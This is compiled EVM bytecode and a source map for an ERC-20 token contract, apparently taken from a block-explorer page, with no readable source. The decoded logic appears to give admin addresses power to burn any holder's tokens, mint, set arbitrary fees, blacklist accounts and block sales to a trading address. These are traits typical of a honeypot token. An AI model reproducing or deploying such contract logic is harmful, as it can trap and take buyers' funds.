8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611cce5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611d0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0490612a5f565b60405180910390fd5b5b611d1983838361208d565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006064600a5484611d6e9190612a7f565b611d789190612b08565b90506000606460095485611d8c9190612a7f565b611d969190612b08565b905083831015611ddb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd290612bab565b60405180910390fd5b8383036000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550818185611e2d9190612705565b611e379190612705565b9350836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e87919061258b565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611eeb919061214e565b60405180910390a360006009541115611fdb57806000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611f4c919061258b565b92505081905550600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611fd2919061214e565b60405180910390a35b6000600a541115612085578160056000828254611ff89190612705565b925050819055507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161207c919061214e565b60405180910390a35b505050505050565b505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120c282612097565b9050919050565b6120d2816120b7565b81146120dd57600080fd5b50565b6000813590506120ef816120c9565b92915050565b6000806040838503121561210c5761210b612092565b5b600061211a858286016120e0565b925050602061212b858286016120e0565b9150509250929050565b6000819050919050565b61214881612135565b82525050565b6000602082019050612163600083018461213f565b92915050565b60006020828403121561217f5761217e612092565b5b600061218d848285016120e0565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156121d05780820151818401526020810190506121b5565b838111156121df576000848401525b50505050565b6000601f19601f8301169050919050565b600061220182612196565b61220b81856121a1565b935061221b8185602086016121b2565b612224816121e5565b840191505092915050565b6000602082019050818103600083015261224981846121f6565b905092915050565b61225a81612135565b811461226557600080fd5b50565b60008135905061227781612251565b92915050565b6000806040838503121561229457612293612092565b5b60006122a2858286016120e0565b92505060206122b385828601612268565b9150509250929050565b60008115159050919050565b6122d2816122bd565b82525050565b60006020820190506122ed60008301846122c9565b92915050565b60008060006060848603121561230c5761230b612092565b5b600061231a868287016120e0565b935050602061232b868287016120e0565b925050604061233c86828701612268565b9150509250925092565b600060ff82169050919050565b61235c81612346565b82525050565b60006020820190506123776000830184612353565b92915050565b612386816120b7565b82525050565b60006020820190506123a1600083018461237d565b92915050565b60006123b282612097565b9050919050565b6123c2816123a7565b81146123cd57600080fd5b50565b6000813590506123df816123b9565b92915050565b6000602082840312156123fb576123fa612092565b5b6000612409848285016123d0565b91505092915050565b61241b816123a7565b82525050565b60006020820190506124366000830184612412565b92915050565b60006020828403121561245257612451612092565b5b600061246084828501612268565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806124b057607f821691505b602082108114156124c4576124c3612469565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006125266028836121a1565b9150612531826124ca565b604082019050919050565b6000602082019050818103600083015261255581612519565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061259682612135565b91506125a183612135565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125d6576125d561255c565b5b828201905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061263d6021836121a1565b9150612648826125e1565b604082019050919050565b6000602082019050818103600083015261266c81612630565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006126cf6022836121a1565b91506126da82612673565b604082019050919050565b600060208201905081810360008301526126fe816126c2565b9050919050565b600061271082612135565b915061271b83612135565b92508282101561272e5761272d61255c565b5b828203905092915050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b600061276f601f836121a1565b915061277a82612739565b602082019050919050565b6000602082019050818103600083015261279e81612762565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006128016025836121a1565b915061280c826127a5565b604082019050919050565b60006020820190508181036000830152612830816127f4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006128936024836121a1565b915061289e82612837565b604082019050919050565b600060208201905081810360008301526128c281612886565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006129256022836121a1565b9150612930826128c9565b604082019050919050565b6000602082019050818103600083015261295481612918565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006129b76025836121a1565b91506129c28261295b565b604082019050919050565b600060208201905081810360008301526129e6816129aa565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612a496023836121a1565b9150612a54826129ed565b604082019050919050565b60006020820190508181036000830152612a7881612a3c565b9050919050565b6000612a8a82612135565b9150612a9583612135565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ace57612acd61255c565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612b1382612135565b9150612b1e83612135565b925082612b2e57612b2d612ad9565b5b828204905092915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612b956026836121a1565b9150612ba082612b39565b604082019050919050565b60006020820190508181036000830152612bc481612b88565b905091905056fea264697066735822122043e903e56fab6b907875ab7e2d08b387d8b44db338e13fc2d378d1ae8bad9fc764736f6c634300080a0033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101fb5760003560e01c806370d5ae051161011a578063a457c2d7116100ad578063b09f12661161007c578063b09f1266146105b6578063b64665af146105d4578063b81e05bc146105f0578063d28d88521461060c578063dd62ed3e1461062a576101fb565b8063a457c2d71461051c578063a6f9dae11461054c578063a9059cbb14610568578063afcf2fc414610598576101fb565b806395d89b41116100e957806395d89b41146104aa57806396da497b146104c85780639dc29fac146104e4578063a3de474214610500576101fb565b806370d5ae051461043657806376bbd448146104545780638a4fc68b146104705780638da5cb5b1461048c576101fb565b8063360bfd54116101925780634a8cbae1116101615780634a8cbae1146103ae5780636e4ee811146103cc5780636ebcf607146103d657806370a0823114610406576101fb565b8063360bfd541461032457806339509351146103425780633eaaf86b14610372578063486a7e6b14610390576101fb565b8063095ea7b3116101ce578063095ea7b31461028857806318160ddd146102b857806323b872dd146102d6578063313ce56714610306576101fb565b8063024c2ddd1461020057806303807ee51461023057806305dbf84d1461024e57806306fdde031461026a575b600080fd5b61021a600480360381019061021591906120f5565b61065a565b604051610227919061214e565b60405180910390f35b61023861067f565b604051610245919061214e565b60405180910390f35b61026860048036038101906102639190612169565b610685565b005b610272610792565b60405161027f919061222f565b60405180910390f35b6102a2600480360381019061029d919061227d565b610824565b6040516102af91906122d8565b60405180910390f35b6102c0610842565b6040516102cd919061214e565b60405180910390f35b6102f060048036038101906102eb91906122f3565b61084c565b6040516102fd91906122d8565b60405180910390f35b61030e610944565b60405161031b9190612362565b60405180910390f35b61032c61094d565b604051610339919061214e565b60405180910390f35b61035c6004803603810190610357919061227d565b610953565b60405161036991906122d8565b60405180910390f35b61037a6109ff565b604051610387919061214e565b60405180910390f35b610398610a05565b6040516103a5919061214e565b60405180910390f35b6103b6610a0b565b6040516103c3919061214e565b60405180910390f35b6103d4610a11565b005b6103f060048036038101906103eb9190612169565b610b08565b6040516103fd919061214e565b60405180910390f35b610420600480360381019061041b9190612169565b610b20565b60405161042d919061214e565b60405180910390f35b61043e610b68565b60405161044b919061238c565b60405180910390f35b61046e60048036038101906104699190612169565b610b8c565b005b61048a6004803603810190610485919061227d565b610c9d565b005b610494610f1a565b6040516104a1919061238c565b60405180910390f35b6104b2610f40565b6040516104bf919061222f565b60405180910390f35b6104e260048036038101906104dd9190612169565b610fd2565b005b6104fe60048036038101906104f9919061227d565b6110df565b005b61051a600480360381019061051591906123e5565b6112e5565b005b6105366004803603810190610531919061227d565b6113db565b60405161054391906122d8565b60405180910390f35b61056660048036038101906105619190612169565b6114c6565b005b610582600480360381019061057d919061227d565b6115bc565b60405161058f91906122d8565b60405180910390f35b6105a06115da565b6040516105ad9190612421565b60405180910390f35b6105be611600565b6040516105cb919061222f565b60405180910390f35b6105ee60048036038101906105e9919061243c565b61168e565b005b61060a6004803603810190610605919061243c565b61174a565b005b610614611806565b604051610621919061222f565b60405180910390f35b610644600480360381019061063f91906120f5565b611894565b604051610651919061214e565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b600a5481565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061072e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61073757600080fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6060600680546107a190612498565b80601f01602080910402602001604051908101604052809291908181526020018280546107cd90612498565b801561081a5780601f106107ef5761010080835404028352916020019161081a565b820191906000526020600020905b8154815290600101906020018083116107fd57829003601f168201915b5050505050905090565b600061083861083161191b565b8484611923565b6001905092915050565b6000600554905090565b6000610859848484611aee565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108a461191b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610924576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091b9061253c565b60405180910390fd5b6109388561093061191b565b858403611923565b60019150509392505050565b60006012905090565b600b5481565b60006109f561096061191b565b84846001600061096e61191b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109f0919061258b565b611923565b6001905092915050565b60055481565b600c5481565b60095481565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610aba5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610ac357600080fd5b61dead600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c355750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c3e57600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600860006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610d465750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610d4f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db690612653565b60405180910390fd5b610dcb8260008361208d565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e48906126e5565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160056000828254610ea89190612705565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f0d919061214e565b60405180910390a3505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060078054610f4f90612498565b80601f0160208091040260200160405190810160405280929190818152602001828054610f7b90612498565b8015610fc85780601f10610f9d57610100808354040283529160200191610fc8565b820191906000526020600020905b815481529060010190602001808311610fab57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061107b5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61108457600080fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111885750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61119157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611201576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f890612785565b60405180910390fd5b61120d6000838361208d565b806005600082825461121f919061258b565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611274919061258b565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112d9919061214e565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061138e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61139757600080fd5b80600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600160006113ea61191b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156114a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149e90612817565b60405180910390fd5b6114bb6114b261191b565b85858403611923565b600191505092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061156f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61157857600080fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006115d06115c961191b565b8484611aee565b6001905092915050565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6007805461160d90612498565b80601f016020809104026020016040519081016040528092919081815260200182805461163990612498565b80156116865780601f1061165b57610100808354040283529160200191611686565b820191906000526020600020905b81548152906001019060200180831161166957829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806117375750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61174057600080fd5b80600a8190555050565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806117f35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6117fc57600080fd5b8060098190555050565b6006805461181390612498565b80601f016020809104026020016040519081016040528092919081815260200182805461183f90612498565b801561188c5780601f106118615761010080835404028352916020019161188c565b820191906000526020600020905b81548152906001019060200180831161186f57829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611993576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198a906128a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fa9061293b565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611ae1919061214e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b55906129cd565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611bbc57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d0e57600860009054906101000a900460ff1680611c765750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611cce5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611d0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0490612a5f565b60405180910390fd5b5b611d1983838361208d565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006064600a5484611d6e9190612a7f565b611d789190612b08565b90506000606460095485611d8c9190612a7f565b611d969190612b08565b905083831015611ddb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd290612bab565b60405180910390fd5b8383036000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550818185611e2d9190612705565b611e379190612705565b9350836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e87919061258b565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611eeb919061214e565b60405180910390a360006009541115611fdb57806000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611f4c919061258b565b92505081905550600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611fd2919061214e565b60405180910390a35b6000600a541115612085578160056000828254611ff89190612705565b925050819055507f000000000000000000000000000000000000000000000000000000000000dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161207c919061214e565b60405180910390a35b505050505050565b505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120c282612097565b9050919050565b6120d2816120b7565b81146120dd57600080fd5b50565b6000813590506120ef816120c9565b92915050565b6000806040838503121561210c5761210b612092565b5b600061211a858286016120e0565b925050602061212b858286016120e0565b9150509250929050565b6000819050919050565b61214881612135565b82525050565b6000602082019050612163600083018461213f565b92915050565b60006020828403121561217f5761217e612092565b5b600061218d848285016120e0565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156121d05780820151818401526020810190506121b5565b838111156121df576000848401525b50505050565b6000601f19601f8301169050919050565b600061220182612196565b61220b81856121a1565b935061221b8185602086016121b2565b612224816121e5565b840191505092915050565b6000602082019050818103600083015261224981846121f6565b905092915050565b61225a81612135565b811461226557600080fd5b50565b60008135905061227781612251565b92915050565b6000806040838503121561229457612293612092565b5b60006122a2858286016120e0565b92505060206122b385828601612268565b9150509250929050565b60008115159050919050565b6122d2816122bd565b82525050565b60006020820190506122ed60008301846122c9565b92915050565b60008060006060848603121561230c5761230b612092565b5b600061231a868287016120e0565b935050602061232b868287016120e0565b925050604061233c86828701612268565b9150509250925092565b600060ff82169050919050565b61235c81612346565b82525050565b60006020820190506123776000830184612353565b92915050565b612386816120b7565b82525050565b60006020820190506123a1600083018461237d565b92915050565b60006123b282612097565b9050919050565b6123c2816123a7565b81146123cd57600080fd5b50565b6000813590506123df816123b9565b92915050565b6000602082840312156123fb576123fa612092565b5b6000612409848285016123d0565b91505092915050565b61241b816123a7565b82525050565b60006020820190506124366000830184612412565b92915050565b60006020828403121561245257612451612092565b5b600061246084828501612268565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806124b057607f821691505b602082108114156124c4576124c3612469565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006125266028836121a1565b9150612531826124ca565b604082019050919050565b6000602082019050818103600083015261255581612519565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061259682612135565b91506125a183612135565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125d6576125d561255c565b5b828201905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061263d6021836121a1565b9150612648826125e1565b604082019050919050565b6000602082019050818103600083015261266c81612630565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006126cf6022836121a1565b91506126da82612673565b604082019050919050565b600060208201905081810360008301526126fe816126c2565b9050919050565b600061271082612135565b915061271b83612135565b92508282101561272e5761272d61255c565b5b828203905092915050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b600061276f601f836121a1565b915061277a82612739565b602082019050919050565b6000602082019050818103600083015261279e81612762565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006128016025836121a1565b915061280c826127a5565b604082019050919050565b60006020820190508181036000830152612830816127f4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006128936024836121a1565b915061289e82612837565b604082019050919050565b600060208201905081810360008301526128c281612886565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006129256022836121a1565b9150612930826128c9565b604082019050919050565b6000602082019050818103600083015261295481612918565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006129b76025836121a1565b91506129c28261295b565b604082019050919050565b600060208201905081810360008301526129e6816129aa565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612a496023836121a1565b9150612a54826129ed565b604082019050919050565b60006020820190508181036000830152612a7881612a3c565b9050919050565b6000612a8a82612135565b9150612a9583612135565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ace57612acd61255c565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612b1382612135565b9150612b1e83612135565b925082612b2e57612b2d612ad9565b5b828204905092915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612b956026836121a1565b9150612ba082612b39565b604082019050919050565b60006020820190508181036000830152612bc481612b88565b905091905056fea264697066735822122043e903e56fab6b907875ab7e2d08b387d8b44db338e13fc2d378d1ae8bad9fc764736f6c634300080a0033

Deployed Bytecode Sourcemap

4666:7414:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4775:66;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5407:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6682:98;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6919:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7819:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7234:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7994:488;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7135:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5451:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8495:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4990:50;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5488:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5272:33;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6429:115;;;:::i;:::-;;4724:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7348:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5319:81;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6552:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10538:545;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6094:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7025:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6793:102;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11099:343;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5526:129;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8716:411;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6330:87;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7481:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i